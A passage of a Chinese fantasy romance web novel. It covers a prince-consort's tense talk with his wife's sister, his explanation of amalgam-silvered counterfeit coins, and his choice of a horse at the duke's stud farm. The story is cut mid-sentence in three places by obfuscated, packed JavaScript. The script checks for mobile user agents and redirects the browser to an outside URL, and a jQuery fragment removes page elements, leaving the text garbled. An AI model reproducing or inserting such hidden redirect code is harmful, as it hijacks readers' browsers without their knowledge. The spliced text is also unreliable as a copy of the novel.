瑟洛里恩不禁被她的无耻震惊了,但对方很快又摇了摇头:“骗你的。姐姐对我的本性了如指掌,不管我干出多么出格的事情,她都不会感到意外。假如我们两人同时告状,她一定会选择相信你。” 呃,这确实……咳咳,很有说服力。 “当然了,姐姐也不会真的责罚我,顶多让我给你道歉,然后罚我禁足一段时间。”伊薇特继续道,“反正我本来也因为养病经常待在房间里,这点处罚对我而言根本不痛不痒。” “你可真是……”他本想说“臭不要脸”,但还是在中途改了说法,“好心态啊。” 然而诡异的是——在经历了适才惊悚的小插曲后,瑟洛里恩本该对她敬而远之,但当他的情绪彻底平复下来,居然意外地感觉他们的关系好像没有过去那么紧张了。 “最可怕的事物是未知”这句话果然不错。相比之前那种令人捉摸不透的态度,在伊薇特彻底暴露本性后,他反而能够以更加平和的心态看待她了。 “所以……你特意引我到这里来,就是为了问这个?”瑟洛里恩有点不能理解,“可是我和希瑟结婚都快半个月了,无论你对我是否满意,一切都已经覆水难收了,现在问这种问题究竟还有什么意义?” 伊薇特像猫一样眯起了眼睛——他猜这应该类似于一个翻白眼的动作,只不过是贵族的优雅版本。 “你最好别误会什么,我对你从不满意,只怪姐姐在这方面太不挑剔了。”她没好气地说,“而我今天单独找你出来,也不是为了对你怎么样,只是想检验一下你是否有资格得知一部分真相。” 瑟洛里恩不敢置信地睁大了眼睛:“你刚刚猛踢我的右腿,扯着我的头发还把刀横在我的脖子上,你管这叫‘不是为了对我怎么样’?!” 伊薇特依旧把他的抱怨当作耳边风,自顾自继续道:“你是不是看到了那幅肖像画?” 闻言,瑟洛里恩忽然感觉很生气——甚至超过了不久前他指责伊薇特莫名其妙发疯的时候。 他语气僵硬地回答:“无论我看到了什么,都不关你的事。” “不管你当时脑子里想到了什么,它们都是错误的。”伊薇特双手交叠在胸前,“姐姐对那个贱人一点留恋也没有。” “谁?” “还能是谁?当然是塞德里茨·欧根。” ……好吧,虽然希瑟对于妹妹的事情一向很盲目,但有一点她没有说错,这个疯丫头确实对谁都这样。 “那幅画至今还留在画室里的原因很简单,因为姐姐把它忘了。”伊薇特眉头紧蹙,“你们南方人总是喜欢想当然,仿佛毒龙一死,北境就会自然而然恢复到鼎盛时期一样。实际上,那时的情况比你们想象中复杂得多。” 她原本苍白的面颊因为怒火而通红:“有不少家族拒绝向姐姐效忠,哪怕他们曾是父亲忠实的封臣,哪怕姐姐当时已经用屠龙的功绩证明了自己。一些领主表示只要姐姐找一个丈夫共治北境,他们可以选择让步……哼,他们居然认为这能被称作‘让步’。还有一些则干脆起兵造反,企图成为北境的新主人。” “不仅如此,当时北境还有的三分之一领土落入了萨迦里人之手,更不用说那些在龙焰中化为废墟的城镇和无数流离失所的百姓了。毒龙劫结束后,姐姐又用了两年多的时间收复失去的领土,将萨迦里人再度驱逐至边境线外,打败一个又一个妄图挑战她权威的反叛者,亲自说服那些温和的反对派认可她作为继承人的资格,其余时间则一直致力于民生的恢复。” 其实南方——尤其是王都对这些情况并没有伊薇特说的那么无知。 瑟洛里恩曾在王宫的藏书里读到过相关记载:有十一位公然反对希瑟继位公爵的领主组成了一个联盟,自诩为“正义者之矛”。希瑟在与领主联盟对垒时,最知名的战绩是在一周之内接连攻陷了三座城堡,史称“碎矛三连捷”。 不过,相较于战场上的荣耀,书中对于她在征战开始前的描述则要简略得多——“在毒龙劫的浩荡结束后,屠龙者希瑟最初对于北境的统治并不顺利……”,就这样用几句话轻描淡写地带过了希瑟·凯洛当初最艰难的那段时光。 “这五年来,姐姐一直过着殚精竭虑的生活,就连思念父母和哥哥的时间都很少,更别说是塞德里茨了。”伊薇特说,“那根缎带当然也和他毫无关系。绿色象征着葡萄叶和橡树,是我们的母族蒙哈榭的代表色——蒙哈榭家族经营着整个王国最好的葡萄酒庄。事实上,这条缎带是母亲的遗物,而你竟然敢把它和塞德里茨联想到一起,简直是罪该万死。” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可能是察觉到自己说的有点多了,她忽然停了下来。 瑟洛里恩用这辈子最充满好奇心的表情盯着她看,但后者无动于衷:“总而言之,布琳迪丝女士似乎非常看好你,虽然我也不知道是什么原因。” 说罢,伊薇特沉沉地叹息一声,仿佛已经厌倦了他的愚蠢,尽管他们的对话(不含暴力的部分)才进行了不到一刻钟。 “退一万步来说,纵使我对你百般不满意,也必须承认你有一个不可或缺的优点,那就是你没有许多男人自以为是的臭毛病。”她说,“你应该还没有蠢到会以为自己是塞德里茨之后唯一想要接近姐姐的人吧?” 呃,他确实是这么认为的……为了避免招致更多的嘲讽,瑟洛里恩摆出了虚心求教的表情。 “虽然姐姐并非传统意义上人们所青睐的那类女性,但她毕竟是北境公爵——整个王国最富有权势的女人之一,仅次于英格丽姐姐。有了利益的驱使,自然会有人冒险行动……当然,实际情况比那令人作呕得多。” “在塞德里茨可耻地背弃了家族间的盟约后,有不少贪图权力和财富的家伙,妄图凭借自己的‘男性魅力’征服姐姐,以为姐姐因相貌问题而受到非议,又刚刚被另一个男人抛弃,内心一定非常空虚,假若他们愿意施舍一点爱,必然能让她为之倾倒。” 伊薇特的语气越来越激动,仿佛随时准备从袖子里掏出小刀,割开那些人的喉咙——瑟洛里恩对此并无异议,并且在精神上支持她,前提是对方别把他当成迁怒的对象。 “真是一群十足的蠢货!”她怒骂道,“姐姐当初宁可向其他家族宣战,也不愿意屈从他们‘找个丈夫共治北境’的要求,怎么可能没有自己的骄傲?可惜姐姐的性格太过宽容,只是对他们小惩大诫,他们跟当初那些胆敢背叛凯洛的家伙一样都该死!” 说着,伊薇特看向了他:“瑟洛里恩,虽然你体格文弱,称不上是合格的战士,对色彩也不敏感,似乎很容易胡思乱想,想的多半都是错的,还长了一张狐狸精似的脸……但只要你还保留着这个优点,就不算是一个完全失败的丈夫。” 短暂的沉默后,他眨了眨眼睛:“呃……你不会在等我感谢你的称赞吧?” “哼,我不在乎。”伊薇特呼出的白雾消散在空气中,“该说的我都已经说完了,外面这么冷,也是时候回去了。” 他摸了摸手臂上的鸡皮疙瘩,表示同意。 不过在回去的路上,瑟洛里恩还是坦然地向她表达了谢意。 “不是为了你刚才一连串的‘溢美之词’。”他强调道,“是为了……可以说是一切,无论是今天的对话,还是几天前你为我和希瑟所做的事情。” “是为了姐姐,没有你的份。”伊薇特也强调道。 虽然她这么说,瑟洛里恩还是觉得他们的关系似乎比以前亲近一点了,不知道日后有没有机会说服对方把希瑟右手边的位置还给他…… 另外,他还想了解一下她和雷蒙德爵士的感情进度如何——是的,他知道伊薇特和雷蒙德爵士已经订婚了——感谢他重要的情报来源,习惯对他人坦诚相告的藏书馆员蕾贝卡小姐。 假如这位小姨子能一满十六岁就嫁出去,他愿意在婚礼上用鲁特琴为他们弹奏一支爱情的小曲。 “另外……”他尽可能友好地问道,“以后我能像希瑟一样叫你伊薇吗?” “呸!” 13. 第十三章 瑟洛里恩已经住进白盔堡将近半个月了,但还是第一次敲响希瑟书房的大门。 “请进。” 希瑟的书房门口并不像王室和大多数贵族一样有卫兵把守和通告——这是很合理的,显然,任何妄图从正门刺杀屠龙者的刺客都是不自量力的白痴。 瑟洛里恩推开厚重的橡木门,除了希瑟之外,房间里还有两个人。 其中一位是胡尼,希瑟年轻的书记官,瑟洛里恩先前与他有过几面之缘。胡尼有着橄榄色的皮肤,嘴唇上方留着两撇又卷又翘的小胡子,说话时会下意识地用手比划,长相上不太像是典型的北境人,瑟洛里恩认为他至少有一半海外血统。 另一位他并不认识,是个中等身材,钢灰色眼睛的男人,看起来约莫四十多岁,硬挺的宽下巴上留着一圈斑白的短胡须,右侧的鬓发因为烧伤的疤痕秃了一小块。 “瑟洛里恩?”温和的微笑并没有完全掩盖希瑟眼底转瞬而逝的惊讶,“难得见你来这里找我……这是胡尼,你应该已经见过了。这一位是比约恩,埃达城的视察官,负责税收和治安方面的事务。” “亲王殿下。”两人同时向他问好。胡尼一如既往地有些局促,比约恩则表现出了与年龄相符的沉稳——税收和治安都是一座城市的命脉,他多半是希瑟的心腹大臣。 “很高兴见到你们,二位大人。”瑟洛里恩礼貌地应道,“希望我没有打扰到什么。” “无妨,都是一些不太紧急的工作安排。”希瑟说,“比约恩、胡尼,你们先退下吧。” 其实瑟洛里恩不太介意有人在场,虽然他还没做好和凯洛家族的政治中坚力量接触的准备……政治总是很麻烦,他对人生的愿景只有吃饱穿暖和一座大藏书馆而已——当然,最好还要有一个家。 等到房间里只剩下他们两人后,瑟洛里恩清了清喉咙:“我在餐桌前听见你和伊薇特小姐在讨论南斯特流通的假银币……如果你暂时还没有找到更好的专家,也许我能帮上一点忙。” 在来到这里之前,他就已经做好了最坏的心理预期,即使希瑟不相信他的自荐,他也不会有所埋怨——假如你唯一尚存于人间的兄弟是个不折不扣的弱智(而你死去的老爹也不遑多让),难免会让别人对你也抱以怀疑。 然而出乎意料的是,她对此表现出了相当慎重的态度:“请先坐下吧。” 说罢,希瑟从抽屉里拿出了一个铁盒,随着她的动作,铁盒发出叮铃哐啷的声响。她打开盒盖,里面是十几枚银币——真假先不论,瑟洛里恩一眼就看出里面有几枚损值了的残币。 “我近来确实在为这件事而苦恼。”希瑟说,“这些都是伊薇从南斯特带回的样本,请随意检查,想带回去看也没关系,有任何想法都可以第一时间告诉我。” 喔噢,这可是真是让人……意外。 想要不感到受宠若惊实在是太难了,他原本还以为自己至少得先做出点成果来证明自身的能力呢。 “这么轻易就相信我真的好吗?”瑟洛里恩半开玩笑地说道,“说不定最后我只能告诉你‘上面的浮雕很漂亮’呢。” “我不会质疑一位饱读诗书的学者是否具有智慧。”希瑟莞尔,“许多事情不试一试怎么知道呢?何况,以你谨慎的行事风格,若是没有八、九成把握,大概是不会主动来找我的。” 他的脸颊浮现出些许红晕……怎么能有人在战场上无往不利的同时,还对自己周围的人有如此敏锐的洞察力?实在太不公平了! 瑟洛里恩强迫自己把注意力放在盒子里的钱币上——大部分都是崭新完好的银币,不过拿起来掂量一下就能察觉到不对劲,这些银币比它们应有的分量要轻。 那几枚残币倒是真的,但因为面积缩水了一圈,已经失去了作为货币的价值,只能送回铸币厂重新进行熔化和压铸。 “情况和我预想的差不多,这是利用汞齐镀银制造出来的假银币。” “汞齐镀银……”希瑟沉思片刻,“光从名字来看,应该有用到水银吧?” “没错,将熔化后的白银和水银混在一起后,会形成一种膏状的银泥,也就是银汞齐。”他解释道,“将银汞齐涂抹在打磨光滑的铜芯上,然后进行加热。水银受热后会蒸发,这样就在铜芯表面留下了银镀层,用模型进行压铸后就形成了假银币。” “……看来除了铜的产地之外,水银的来源也是一种调查方向。” 瑟洛里恩从铁盒里捡出那两枚残币:“大部分的镀银材料都是从正规的银币边缘铰下来的……我猜南斯特市面上流通的残币也变多了?” 希瑟凝重地点了点头。 “如果想要减少残币出现的概率,可以考虑在钱币边缘压一条脊线。”他用指甲比划了一下,“这么做的话,人们看到钱币边缘的脊线消失了,就能分辨出这是残币了。” “原来如此……真是绝妙的主意。”她面露了然之色,“谢谢你,瑟洛里恩,你的建议我会铭记于心的。” “礼尚往来而已。”他有些赧然地摸了摸颈边垂下的缎带,胸口依然能感受到当初得知真相时的震惊——她居然把母亲的遗物送给了他,再多的言语也无法描绘这份心意,“另外,假银币上的浮雕已经非常接近真银币了,两者几乎只有重量上的差别。我想伊薇特小姐的推测可能是正确的,有铸造厂的官员私下窃取了官方的压铸模具用于造假。” “我明白。”希瑟慎重地答道,“过几天我会亲自去一趟南斯特,调查当地的情况。” 听到她要出远门,瑟洛里恩倏地愣住了:“去南斯特……是像伊薇特那样出门一周左右吗?” “不,我会在那里待一段时间。根据情况的复杂程度,可能两周到一个月不等。” 两周到一个月?可是——可是他们结婚都不到两周! 可能是他一时没能控制住表情,希瑟打量着他,脸上露出了若有所思的表情。 瑟洛里恩感觉脸上火辣辣的,为自己不合时宜的感性而羞耻——他确信对方此刻绝对洞悉了他的想法。经过这段时间的相处,瑟洛里恩早就不止一次领教了她细致入微的观察力。 他只好勉强挤出一个笑脸,尽管空虚的阴影正在蚕食他的心脏:“祝你一路顺风……” 希瑟没有即刻回答,良久,她似是试探性地问道:“想不想和我一起去?” 他一下子没反应过来:“什么?” “南斯特。”她补充道,“那里是北境较为富裕的城市之一,拥有整个王国最大的不冻港——奥罗拉港,即便入冬,航运也十分繁忙。集市里人来人往,热闹非凡。秋冬季节的景色虽然比不上盛夏,但也颇值得一看。” 他结结巴巴地回答:“是吗?听、听起来不错……” “除此之外,南斯特的领主埃蒂安·马尔尚伯爵祖上来自南方,对新教非常虔诚。相比埃达城,那里的教会更接近王都的规格,我想你应该会喜欢那里的。” 瑟洛里恩对于教堂和修道院一点也不感兴趣,但他确实想去埃达城以外的地方走一走,更别说还是与希瑟同行了。 “如果我离开了,就意味着伊薇要留守在埃达城。”希瑟说,“我知道你和伊薇暂时还没有找到某种……更加和谐的相处方式。留你们在城堡里单独相处,可能会是一段相当艰难的时光。尽管我相信你们的关系会慢慢亲近起来,但未来还很长久,不妨将这样的机会留待日后。” 啊哈,这可真是一个奇妙的误会——虽然希瑟总是能在第一时间察觉到周围人的情绪变化,但经常把引发变化的起因搞错,这可能是他妻子身上为数不多的缺点(以及诸多有趣之处)之一。 在内心深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081318|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有一个声音告诉他:瑟洛里恩,你应该告诉希瑟,其实你和伊薇特的关系已经没有那么紧张了(当然也称不上很好,除非伊薇特也让他踢一脚)。这是你身为丈夫的义务。 但与此同时,还有另一个声音悄悄蛊惑着他:你是应该告诉她,但为什么不等你们从南斯特回来以后再说呢?真相又不是奶油派,晚几天是不会让它变质的。 最后,某种不可言说的私心战胜了道德感,让他聪明地选择将这件事暂时抛之脑后:“好啊!” “那就再好不过了。”希瑟面露微笑,“你是想坐车去,还是更想骑马?” 瑟洛里恩耸了耸肩:“显然我也没有别的选择。” 毕竟他没有自己的坐骑——除非他对黎塞留的坐骑贝阿德进行一番不道德的强取豪夺。 “如果你想骑马的话,不如直接去城外的育马场里挑选一匹?” “……可以吗?” “当然。”希瑟回答,“如果你想的话,今天下午我们就可以出发。” 这个女人到底怎么回事?她都没有上过他——呃,他是说他们还不算是完全意义上的夫妻,她就已经送给了他爱丽诺尔夫人的缎带和一匹马,还允许他自由使用一个超大的藏书馆和一间颜料供应无上限的画室。让人不得不好奇,一旦他们……咳咳,圆满了之后会是什么样。 希瑟·凯洛确实是一诺千金的。午餐结束之后,他们花了半个小时散步消食,随后便坐上马车前往育马场——准确来说是他坐上了马车,希瑟则骑着贝斯特拉紧跟在马车旁边。 透过车窗,瑟洛里恩大多数时间都只能看见她深色的斗篷、皮革材质的护胫和靴子上的银色马刺,不过他还是觉得这身骑装相比领主的华服更加适合她,更有屠龙者的英姿飒爽。 而且,这还是他第一次见到传说中的“马中女王”贝斯特拉。 贝斯特拉是一匹高大的红骝色战马,头细颈高,四肢修长,小跑时步态十分优雅。它的马衣并非寻常的亚麻或棉布材质,而是用羊毛织成的厚毛毯,彩色的毛线组成了凯洛家族的精美纹章,边缘留出一圈绒花,厚实而温暖,仿佛一件披在女王肩头的斗篷。 瑟洛里恩对马没什么特别的兴趣,但贝斯特拉的美丽还是让他不由得期待起来:“所以你对育马场里的马儿有什么推荐吗?” 听到他的询问,希瑟可疑地沉默了一会儿:“有……事实上,对于你的坐骑,我已经考虑了一段时间。” 这个“一段时间”听起来可不像是几小时前才发生的事情:“你知道你其实可以直接问我的,对吧?” 她低声道:“我甚至不确定你喜不喜欢骑马,毕竟你一直没有这方面的需求……而仅仅是在我所认识的贵族中,就有人很讨厌马,认为它们是一群又脏又臭,还会咬人的怪物。” 瑟洛里恩确实有过类似的想法,但不是对于马,而是对它们的亲戚毛驴,因为他小时候被驴咬过,这股厌恶持续了很久——直到他后来发现它们有多么美味。 “所以,你心里早就预定了一匹似乎很适合我的马。”他努力把话题扭了回来,“为什么你会觉得它适合我?” 闻言,希瑟忽然轻声笑了起来,笑容中罕见地带着狡黠的意味。 “很难用言语形容。”他的妻子语气轻快地回答,“但当我看到它的时候……就想起了你。” 或许是感受到了主人愉快的心情,贝斯特拉的步伐也变得更有活力,几步便跑到了马车的前方,让他来不及继续追问。 瑟洛里恩坐在马车里静静思考了许久——刚刚他算是被戏弄了吗?如果是的话,照理说他应该有点羞恼才对……但事实是,瑟洛里恩感觉脸上有点发热,嘴角也忍不住上扬。 呼,幸好他是马车上唯一的乘客,若是有其他人在场,肯定会觉得他是一个怪人。 14. 第十四章 刚一抵达育马场,就有人跑过来迎接他们——对方看起来不年轻了,但翻过木栅栏的动作依然矫健,让瑟洛里恩印象深刻。 “公爵大人,您可真是好久没来了!”马匠摘下头上的小帽,热切地问道,“雷蒙德大人有跟您一起吗?” 对方说话时的语调有些奇怪,不像是典型的北境口音……不过北境幅员辽阔,不同城镇的居民口音存在差异也不值得惊奇。 “许久不见,安德斯。”希瑟无奈地笑了,“很遗憾,雷蒙德爵士仍在王都,恐怕得等到明年深春才能回来。”她看向他,“这位是育马场的高级马匠安德斯,也是雷蒙德爵士的副手。” “雷蒙德爵士还兼职马监吗?”瑟洛里恩问道。 “是的,不仅仅是这一个育马场,埃达城以及周边的所有马厩都在他的管理之下。”希瑟补充道,“不过他本人目前不在北境,这家育马场暂时由安德斯代理统筹。” “噢~这位一定就是亲王殿下。”安德斯认真(但看起来有点滑稽)地向他行了一个宫廷礼,“谁会感到意外呢?如此美貌,只有王宫的土壤才能养育出您这样的名花啊!您和公爵大人真是一对光彩照人的眷侣!” “你好,安德斯。”瑟洛里恩的心情十分复杂,“马匠这个职业挺适合你的。” 要是去当小说家,肯定得喝西北风了。 “我的丈夫需要一匹新的坐骑。”希瑟说,“安德斯,你务必耐心地向他介绍这里的每一匹好马,直到他做出最合心意的选择。” 听到她说出那四个字,瑟洛里恩的心头一颤,但还是尽力让埋怨的语气盖过内心的赧然:“你明明可以直接告诉我选哪匹马的……” “不要因为他人的言语而动摇,瑟洛里恩。”她故作高深地说道,“记住,要跟随你的心。” 也许是骑马出行的感觉唤醒了希瑟性格中最原始的野性,瑟洛里恩总觉得自从她决定来一趟育马场之后,性格就顽皮了许多…… 虽然他不讨厌就是了。 接着希瑟就离开了,说是打算让贝斯特拉在马场里活动一下。不过,瑟洛里恩认为她只是想看看在没有旁人干涉的情况下,他会不会做出和她预想中一样的选择。 这个猜想在走进马厩后就得到了证实——事实上,他的目光几乎瞬间就锁定在了第三间马房上——一匹草莓沙色的马儿正将脑袋探出厩门,好奇地四处张望。 看着这匹马,瑟洛里恩后知后觉地意识到,希瑟的那句“看到它,我就想起了你”可能是一种偏向纪实风格的描述。 “您喜欢这一匹吗?真是太有眼光了!”安德斯似乎也为他的选择感到高兴,“这是北境独有的马种,前公爵拉格纳大人赐予了它们一个光荣的名字——埃达马!因为只有埃达城的马场能培育出这种战马。它们的祖先是科林马,但体格没有那么科林马那么大,这提升了它们的敏捷和转向能力……” 瑟洛里恩摸了摸马儿的脑袋,它温顺地用鼻子顶了顶他的掌心。 这匹马的鼻梁是白色的,延伸至前额形成了一个月亮似的形状,贝斯特拉的前额也有一个星星般的白色菱形,他一直觉得马儿脑袋上有个白色的纹路挺好看的:“它看起来性格不错。” “当然!埃达马的性格很稳定,胆子也很大,继承了科林马和埃迪内马身上最好的部分。”安德斯滔滔不绝,只要聊到和马相关的话题,他那说起话来令人尴尬的毛病就消失了,“传统战马和赛马的混血种要不就是笨拙的胆小鬼,要不就是勇敢的快马,埃达马无疑是后者。” “希瑟的贝斯特拉也是埃达马吗?” “贝斯特拉?噢,它当然不是埃达马。埃达马没有那么细的被毛,皮肤也没有那么薄。贝斯特拉是纯种的阿什哈库曼马,而且它也不是在这个育马场出生的。” 他不禁有些好奇:“贝斯特拉不是在这里出生的?” 听到这里,安德斯一下子来了精神——瑟洛里恩甚至觉得他好像一直在等别人提到这个问题,因为他显然已经为这个问题准备了一箩筐的话。 “您可真是问对人了!”对方兴高采烈地答道,“因为贝斯特拉就是在我的马厩里长大的。” “你的马厩……”瑟洛里恩有些困惑,“可你的马厩不就是这里吗?” “不不不,我不算是北境人,几年前我还住在更靠南的地方哩。”安德斯说,“您听说过洛温镇吗?。” 他摇了摇头,不过这确实解释了安德斯奇怪的口音。 “以前我就住在那里,还有一间属于我自己的马厩……现在回想起来,一个破烂的乡下马厩居然能培育出这样的名驹,如果不是发生在我身上,连我自己都不相信这种事。”对方感慨道,“贝斯特拉天生就与众不同。虽然是雌马,但她的体格和公马一般大,红骝色的被毛光滑发亮,就像是缎子做的。它在马厩里简直是鹤立鸡群,任谁第一眼都会先看到它。” “你刚刚说贝斯特拉是阿什哈库曼马……可那不是从安托帝国引进的名贵马种吗?对于普通的马厩而言,价格应该相当高昂吧。” 而且安托帝国的马匹只能通过海航运送,又只有大型船港才能停下运马所需的三桅商船。如果洛温镇真如安德斯所说只是一个乡下小镇,怎么可能有渠道买到正宗的阿什哈库曼马呢? “嘿嘿,我这样的普通百姓当然是买不起的。”安德斯说,“但洛温镇的执政官刚巧对马十分痴迷。他不惜花重金从附近的大城市里采购了几匹阿什哈库曼马,然而大多都没活过几年,哪怕活下来也都是病恹恹的。” 说着,他叹了口气:“可惜了,那位男爵大人虽然爱马,却不懂马。阿什哈库曼马生活在炎热的沙漠地带,所以被毛细短,方便散热。这样的马突然被转移到了寒冷的环境中,自然需要额外照料。马死了大半之后,他就无心再养了,最后便宜了我这捡漏的破马厩。” 瑟洛里恩很快就想到了贝斯特拉身上厚实的马衣,难怪是用羊毛织成的。 “好在贝斯特拉本来也比一般的阿什哈库曼马耐寒,被送到我这里之后还算健康……不过好处也就这点了。”安德斯说,“最初我是想拿它配种的,但是它的性格太暴躁了,但凡有公马敢骑上来,它就对它们又踢又咬。哪怕是作为坐骑,它也不够温顺,曾经将许多看中它的骑士甩了下来。在遇见公爵大人之前,我们一直管它叫红泼妇。” “很……形象的名字。”瑟洛里恩评价道。 “很长一段时间里,我都不知道该拿它怎么办。”对方重重地叹了口气,“您瞧,它卖又卖不出去,也没办法拿来配种,还占着最好的那间马房,真是一点用处也没有。可要说把它杀了,谁又能舍得呢?我这辈子就没见过比它更美的马儿了,而且马肉也不好吃,烤熟了之后又臊又柴。如果有的选择,我肯定更愿意吃驴。” “驴肉确实很好吃。”他坦诚道。 “哈!我就知道您是一位行家!”安德斯摸了摸下巴上的小山羊胡,“后来的事情您也知道,毒龙劫爆发了。别说是我们这样的平民了,就连不少贵族都因此沦为草寇。好多人都在往南边跑,那些处在南北交界地的城镇难免倒了大霉,洛温镇的裁缝铺、铁匠、屠户都被洗劫一空,我的马厩就更是不例外了。” 马是重要的战略资源,强盗当然不可能放过:“贝斯特拉没有被抢走吗?还是说它挣脱缰绳逃走了?” “没有没有,它一直在马房里。”安德斯摆了摆手,“那伙强盗的头子显然也很中意它,但红泼妇——噢,是贝斯特拉不让他靠近。也幸亏有它在,让强盗拖了点时间,否则我们一家估计没能等到公爵大人,就已经死在他们剑下了。” “希瑟?” “是的,公爵大人救了我们。”虽然是几年前的事情了,但对方看起来依然心有余悸,“当时可真是惊险啊!我和老婆孩子们都躲在马厩的干草垛后面,只要那几个强盗有一个把手里的火把稍微往里面偏一点,我们就死无葬身之地了!” 安德斯或许不是一个好的小说家,但绝对是一个好的演说家。见到他手舞足蹈,绘声绘色的描述,就连瑟洛里恩也情不自禁地紧张起来。 “起初我都不敢抬头往外看,只是依稀听见外面传来了什么动静,然后是一个女人的声音——听到这里,我就为这个可怜的姑娘感到难过,这群可怕的强盗一定会奸污她的!” “接着,她说出了那个强盗头子的名字,质问他为何抛弃了自己的荣耀,但那伙强盗只是用恶毒的话语嘲笑她。其中一个强盗说,‘这是哪儿来的母牛?居然会说人话’,另一个接口,‘让她背过身去就行了,女人操起来都一样’,随后他们又是一阵大笑。” 瑟洛里恩眯起了眼睛:“你刚刚说什么?” “天父在上,这些都是强盗们说的!”安德斯吓了一跳,“我、我只是复述他们的话……” “不需要复述这些污言秽语,只说最重要的部分。” “我知道了……”对方讪讪道,“那姑娘在这期间一直默然无声,最后才说‘假如你们现在愿意缴械投降,我可以放你们一条生路’,但没人把她的话当回事,然后他们就打了起来……我原本以为战斗很快就会结束,一个姑娘家怎么抵挡得住五、六个强盗的围攻呢?但马厩外的动静持续了很长一段时间,我就想也许能找到机会逃命。于是我小心翼翼地探出脑袋,观察外面的情况……” “然后我就看到了公爵大人——当然,那时我还不知道她的身份,甚至看不太清她的脸,只能望见一个轮廓高大的身影。她浑身上下没有一件盔甲防身,甚至连身上的衣服都不像是她本人的,又脏又破,像是平民才会穿的,而且非常不合身。她手里拿着的也不是战斧或者长剑,而是一把做工简陋的钉头锤。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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瑟洛里恩发现自己无意识地松了口气。 “随后,公爵大人就发现了我们。”安德斯继续道,“听到她自称是希瑟·凯洛的时候,我其实有点不敢相信。虽然我没去过北境,但一直听说凯洛公爵的二女儿是位美人哩。不过她毕竟是我们一家的恩人,没必要欺骗我们。我们本来做好了把所有财产都献给她的准备,但公爵大人只是问我们要了一袋水和一匹马,因为她要尽快赶回埃达城。” “于是她选中了贝斯特拉?” “没错,那个时候我的马厩里就只剩两三匹马了,我让公爵大人随便挑哪一匹都行。不过看到她径直走向红泼妇,我们全家还是吓了一跳。当时公爵大人身受重伤,我们都怕它把这位救命恩人甩下来……神奇的是,红泼妇在公爵大人面前表现得异常温顺,就好像它知道对方是自己命中注定的主人,就好像它是为她而生的一样。” “当公爵挥动缰绳时,红泼妇站了起来——不是要把人甩下来,更像是一场宣告。刹那间,漆黑的天空划过一道闪电,公爵红色的长发,她血淋淋的外袍,还有马儿赤红的毛发都被照亮了,人与马浑然一体,犹如神迹。当时我就意识到了,这一切都是命运的安排……而下一次我再见到它的时候,它已经有了‘贝斯特拉’这个满载荣耀的名字。” 就在这时,一直保持安静的埃达马突然喷了个响鼻,把安德斯从回忆中拉了出来。 “哈哈,看来它也等到了自己命运中的主人。”他拍了拍马脖子,“怎么样,殿下?这小伙子已经安好了马蹄铁,您要是想骑骑看,我立刻把马鞍给您装上。” 闻言,瑟洛里恩满怀期待地点了点头。 “好嘞!”对方解开马房的门栓,“您直接去马场吧,我等会儿就把马牵过去。” 瑟洛里恩在王宫里接受过马术训练,但他没有太多出远门的需求——毕竟没有人会邀请他出席宴会或者外出打猎,所以对骑术不算精通。 然而,埃达马性情稳定的说法果然没有夸张,它始终很好地配合着他的节奏。瑟洛里恩绕场半圈后,就大胆地鼓励它小跑起来,直至追到希瑟的贝斯特拉身旁,与她并肩而行。 看见他的新坐骑,希瑟露出了意料之中的表情。但可能是跑马时的冷风让她燥热的情绪平复了不少,此时的她已经没有了先前那种恶作剧般的孩子气,回归到了平日正直的状态。 “不错的选择。”她温和地表示,“有想好给它起什么名字吗?” “暂时没有。”瑟洛里恩随口回答,“不过看它长得又粉又嫩,干脆叫萝卜好了。” 草莓沙色的埃达马很不乐意地晃了晃脑袋,步伐也失去了节奏。好在它没有发脾气乱跑,只是落后了贝斯特拉一小段路。 希瑟立刻勒住缰绳:“你还好吗?” “没事,它只是有点闹小脾气。”瑟洛里恩安抚道,“刚才是开玩笑的,好伙计,我当然会给你取一个好名字。” 然而埃达马还是站在原地不肯动。 “你可以拍拍它的脖子,或是轻轻地帮它梳理鬃毛。”希瑟提醒道,“这样有助于缓和它的情绪,也能培养你们之间的感情。” 瑟洛里恩叹了口气,俯身拍了拍埃达马的脖子,在它耳边小声道:“好啦好啦,我道歉……现在我们可以走了吗?柏尔?” 15. 第十五章 傍晚,他们一同骑马返回白盔堡。 寒风呼啸,即使没有下雪,瑟洛里恩的睫毛上也凝结了一层薄霜。即便如此,他还是忍不住盯着希瑟,直到他的妻子无奈地回过头:“有什么事吗?” “没什么。”他调侃道,“只是想看看你会不会在不经意间又俏皮起来。” 闻言,希瑟似是有些赧然。纳维亚人的皮肤比一般人更加苍白,因此他们脸上的红晕也更加明显。 “抱歉,可能是因为西格德——我的兄长,如果你还记得他的话。他也曾带我来过这里,并许诺要送我一匹马,为此我背着父亲偷偷翘掉了礼仪课。”她说,“在前往育马场的路上,往日的记忆在我心底复苏,下意识就做出了那样不成熟的举动……让你见笑了。” “翘课,嗯?” “那年我才十三岁,正是顽皮捣蛋的时候,即使穿着淑女的长裙,也像是一个野孩子。” 他有点难以想象——无论是穿着长裙的希瑟,还是野孩子般的希瑟。 “那时的我对马儿一无所知,只是很羡慕西格德能拥有自己的坐骑。”希瑟继续道,“我一直缠着他,想知道什么样的马是最好的,但他始终不肯告诉我,因为他坚信人生的第一匹马不一定要是最好的,只需要是自己喜欢的。” “所以……‘跟随你的心,希瑟’?” 她不禁笑了起来:“他当初确实是这么对我说的,而我也确实这么做了——结果那天下午,我一匹马也没有选中。” 